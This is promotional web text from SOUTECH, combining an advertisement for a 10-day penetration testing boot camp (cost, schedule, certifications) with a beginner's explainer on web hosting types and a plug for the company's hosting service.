SOUTECH Web Consults Penetration Testing Training, delivered in the form of a 10 Day Boot Camp style course, is the information security industry’s most comprehensive penetration testing course available. You will learn everything there is to know about penetration testing, from the use of network reconnaissance tools, to the writing of custom zero-day buffer overflow exploits. The goal of this course is to help you master a repeatable, documentable penetration testing methodology that can be used in an ethical penetration testing or hacking situation. This penetration testing training course has a significant Return on Investment, you walk out the door with hacking skills that are highly in demand, as well as up to four certifications: CEH, CPT, CEPT and the MPCS!

HOW YOU’LL BENEFIT:

  • Gain the in-demand career skills of a professional security tester. Learn the methodologies, tools, and manual hacking techniques used by penetration testers.
  • Stay ethical! Get hands-on hacking skills in our lab that are difficult to gain in a corporate or government working environment, such as anti-forensics and unauthorized data extraction hacking.
  • Move beyond automated vulnerability scans and simple security testing into the world of ethical penetration testing and hacking.
  • More than interesting theories and lecture, get your hands dirty in our dedicated hacking lab in this network security training course.

After SOUTECH’s Penetration Testing Training course, you will be prepared to take (and pass) up to 4 certifications:

  • CEH – Certified Ethical Hacker
  • CPT – Certified Penetration Tester
  • CEPT – Certified Expert Penetration Tester
  • MPCS – Metasploit Pro Certified Specialist

Prerequisites:

  • Firm understanding of the Windows Operating System
  • Exposure to the Linux Operating System or other Unix-based OS
  • Firm understanding of the TCP/IP protocols.
  • Exposure to network reconnaissance and associated tools (nmap, nessus, netcat)
  • Programming knowledge is NOT required
  • Desire to learn about Ethical Hacking, and get great penetration testing training!

Course Cost: N750,000 ( 10% Discount for Educational and Group Training)

Duration: 10 Days

Weekday Option- Mon-Fri( for 2 weeks)-( 9am-3pm dialy)-

Weekend Option-  Sat- 9am-5pm and Sun- 2-6pm( 5 weekends)

Best website hosting service in Nigeria- Learn Web Design Skills in Abuja, Lagos, Port Harcourt Nigeria

WEB HOSTING, WHAT DOES THAT MEANS?

One of the questions we hear often from new students or client who wants to learn or venture into web design and development is – what is web hosting and how does it work?

Well, think of hosting as a house, it could be an apartment building or lake view terrace that you rented for a particular purpose, in our context website. Websites are hosted on web servers and in order to get your website hosted, you will pay for a web-hosting service. You will be given a space to run your business, just an empty space with no shelf, no furnishing although it is easy to furnish your space by installing any framework you want choosing from the many that come in with your cPanel account. If you do not have a hosting service, you will have a place to put your files and the domain name you bought (if you already have), will be just a virtual house address with no physical building. To run a website, you will need basically three things; domain name, Hosting and Web content. Your web content includes text and media files that needed a space to be stored in, which is where web hosting comes in play.

CHOOSING A HOSTING PLAN.

When choosing a web hosting plan, you should first consider what type of website you are going to be running. Is it going to house members? Will it be a database driven website or static HTML? Will it be strictly informational? Will you be running an e-commerce store? How huge are your website files? What is your estimated traffic? All these will affect the choice of hosting you want.

Just like the housing illustration, most web-hosting providers offers three main categories consisting of Shared, VPS and Dedicated Servers.

Shared Hosting – This is hosting type is more like an apartment building, where you neighbor and everyone is using the same resources. If one of the neighbours is over-using a resource, it can affect the others on the server. It is the cheapest and most common type of hosting. Many people start out on a shared hosting plan.

VPS – Virtual Private Servers are much like a townhome, or row house. Each account is like its own home unit. They have separate resource allocation and are in much more control over their site environment. However, just like in a shared, tenants that overuse resources may have an effect on the other accounts on the server. This doesn’t happen often on a VPS than a shared server.

Dedicated server – This is like owning your own house, the entire building is yours. In other words, the entire server is yours. All the resources are dedicated to your account, so no one else can bother you on the server. Just like a house, it varies in sizes, so you may need to upgrade to larger dedicated servers as your website grows.

Irrespective of the hosting category you choose, you will still have to decide on the size of space and amount of allocated bandwidth you will want to acquire. You can always upgrade to increase space and bandwidth as you desire in future.

Website content /files are what your visitors and potential customers actually see when the visit you site. The site files are not different from any other file you normally use, like a .jpg photograph, or .mp3 music file. Though, website files are also. PHP files or .html files, which are PHP scripts or HTML pages respectively.

Web hosting services works simply by giving us a storage space where our website files will be stored in high-powered computers (web servers) connected to a very fast network. In web-hosting, anything correlated to managing these servers and its software, security, support, bandwidth, speed and so much more, is known and web server management.

I hope you now understand what is web-hosting, do not forget to order a hosting space with us, visit http://www.soutechhosting.com

Learn website design today- Online or Offline! Dont miss it, Start Learning to Earn

www.soutechventures.com/courses